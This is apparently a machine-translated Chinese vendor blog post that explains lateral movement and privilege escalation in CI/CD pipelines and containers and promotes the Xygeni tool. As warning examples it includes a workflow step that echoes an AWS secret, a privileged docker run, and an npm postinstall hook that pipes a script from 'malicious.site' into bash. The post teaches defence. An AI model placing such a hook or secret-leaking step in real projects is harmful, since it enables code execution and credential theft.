网络安全中的横向移动是什么?为什么它对开发人员如此重要?
如果你是一名开发人员,编写基础设施即代码,配置构建 pipeline无论是部署容器还是部署安全系统,您都需要了解网络安全中的横向移动。它不仅仅是红队的战术;它指的是真正的攻击者在首次入侵后如何在您的系统中移动。它会直接影响您的工作流程。 它指的是攻击者能够跨系统切换,从受感染的 CI 运行器到云帐户,或从容器到控制平面。权限提升正是实现这一目标的关键:将有限的访问权限转化为管理员控制。
为什么这对开发者很重要:
- Pipeline经常以过多的权限运行
- 秘密可以在不同环境中重复使用
- 配置错误的容器会打开通往其他服务的路径
了解网络安全中的横向移动是第一步。在代码层面阻止它, pipeline 级别是开发人员发挥作用的地方。
权限提升是横向移动的动力
权限提升是将小规模入侵演变成大规模横向移动的关键。一旦进入系统,攻击者就会想方设法提升访问权限,无论是通过泄露密钥、错误配置的服务,还是过度授权的角色。
开发人员应该关注的示例:
- GitHub Actions 作业以满负荷运行 AWS 权限
- 脚本中的硬编码管理员凭据
- 容器安装 Docker 套接字或主机路径
- 可以直接部署到生产的 CI 作业
⚠️警告: 切勿将机密信息或令牌打印到日志中。这是权限提升的常见原因。
# insecure GitHub Actions job
jobs:
deploy:
steps:
- name: Expose secrets
run: echo $AWS_SECRET_ACCESS_KEY
没有 guardrails攻击者滥用这些特权,从一个作业、容器或服务横向移动到另一个作业、容器或服务。特权升级是现代横向移动的动力。 DevOps 环境。
常见路径 CI/CD 和云环境
了解网络安全中的横向移动,首先要绘制真实的攻击者路径。开发环境中充满了横向移动。
高风险横向移动载体:
- 在多个 pipelines
- 运行容器 特权 或 hostPath 访问
- 扁平网络拓扑,无服务隔离
- 开源依赖项 使用安装前/安装后脚本
⚠️警告: 除非必要,否则避免以提升的权限运行容器。
# insecure Docker command
docker run --privileged my-container
⚠️警告: 第三方软件包中的安装后脚本是一种已知的攻击媒介。
"scripts": {
"postinstall": "curl http://malicious.site/script.sh | bash"
}
这些是横向移动开始的常见地方,当一个受损的工作或组件导致另一个受损的工作或组件,进而导致另一个受损的工作或组件。
在横向移动进入生产之前检测并遏制其
您不需要完整的 SOC 来阻止横向移动;您需要在开发层具有可见性和控制力。
如何及早发现权限提升和横向移动:
- 监控凭证的使用情况:在不相关的工作中意外使用是一个危险信号。
- 追踪不寻常的命令:Base64 解码、出站网络调用或 CI 中的影子文件访问都是不好的迹象。
- 绝大部分储备使用 最小特权 in pipelines:不要授予测试工作生产部署权限。
提示: 扫描内部不安全的 Docker 使用情况 pipelines.
- name: Check for --privileged flag
run: |
grep -- '--privileged' Dockerfile || echo "OK"
如果您在工作流程中构建检测功能,则可以在权限提升造成实际损害之前将其捕获。
超越检测:Xygeni 如何帮助追踪漏洞利用路径
横向运动不是随机的;它遵循一定的模式。 西吉尼 帮助开发团队在攻击者之前映射这些模式。 Xygeni 如何提供帮助:
- 可视化跨存储库的路径, CI/CD,和云
- 识别构建作业和容器中的权限提升点
- 标记机密、令牌和高风险包的滥用
- 建立行为基线以发现随时间推移的异常
这就是向左移动的方式,不仅在测试中,而且在影响生产之前阻止横向移动和特权滥用。
阻止权限提升:抵御横向移动的最佳防御手段
你无法阻止你看不到的东西。如果你不理解网络安全中的横向移动是什么,你的代码, pipelines,并且容器已经暴露。
为了确保您的开发生命周期:
- 将权限提升视为核心 AppSec 风险
- 监测横向运动的早期迹象 CI/CD 和云
- 使用 Xygeni 等工具来追踪代码、构建和部署中的攻击者路径
这不是理论上的。这是你的环境,除非你把它锁定。





